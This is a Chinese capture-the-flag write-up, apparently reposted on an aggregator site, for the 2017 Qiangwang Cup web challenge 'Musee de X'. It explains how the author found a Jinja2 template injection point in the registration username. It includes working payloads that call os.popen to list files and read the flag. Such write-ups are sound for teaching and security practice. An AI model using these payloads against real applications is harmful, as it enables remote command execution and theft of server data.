2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)

Posted Zeker62

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)相关的知识,希望对你有一定的参考价值。

解题思路

拿到手上,有四个页面
首先按照题目要求执行,尝试注册一个名为admin的账户
这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了
回到初始界面,点击链接here

有一个捐赠界面,让我们输入捐赠的地址和名字
下面的collection de musee代表它是一个收藏馆,也不知道捐什么,就随意捐一个,比如baidu.com
可以看到是有报错的,为了让报错全部显示,建议直接使用“查看页面源代码”
像这种东西,就无不暗示着你,是可能有SSTI漏洞的
按照正常方法,直接crtl+F搜索render,看看有没有SSTI注入点
可以看见,text的变量是有着jinja2的注入点的,所以我们寻找text这个指向的是什么就可以找到注入点了。
通过审查html,可以发现,我们所指的text表示的是name

所以我们需要将这个注入进去就可以了
如何注入呢,就是刚刚的注册页面,刚刚发现我们注册之后会在服务器端生成一个为注册名的目录,所以,只要将payload作为用户名注入即可
构造payload,先查看目录,确定flag的文件名(flag*一步到位也不是不可以)

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}

可以在这个payload前面添加你自己喜欢的用户名,当然不加也可以

然后我们捐献的是一张纯黑色的图片(也可以上传别的图片,但是最后发现,还得上传纯黑的图片才看得清楚)

http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg

构造payload

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat flag*").read()')}}
#或者网上给的
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}

flag就出来了

再次注入的时候仍然需要添加新的用户,否则会被判为被黑

总结

问题方法
服务器端模板注入的寻找方法就是看除了php以外还有没有用别的语言写,常见的是python,如果能够找到一些源代码或者报错,搜索render,或许就能找到注入点
漏洞如何寻找按照题目一步一步来做,顺着题目的意思进行,出现了报错或者源代码的出现是最好不过了
payload的构造payload在主页里面有,payload可能会被过滤,这个题目简单,么有过滤payload,payload有很多种,也不止上面给的这一种

以上是关于2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)的主要内容,如果未能解决你的问题,请参考以下文章

2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)

第二届“强网杯”全国网络安全挑战赛来袭——线上赛

第五届“强网杯”全国网络安全挑战赛-线上赛Writeup

强网杯2021 ctf线上赛ezmath wp(#超详细,带逆向新手走过一个又一个小坑)

技术分享 || 通过强网杯一道题了解RPO+XSS+CSRF

2019强网杯部分misc&web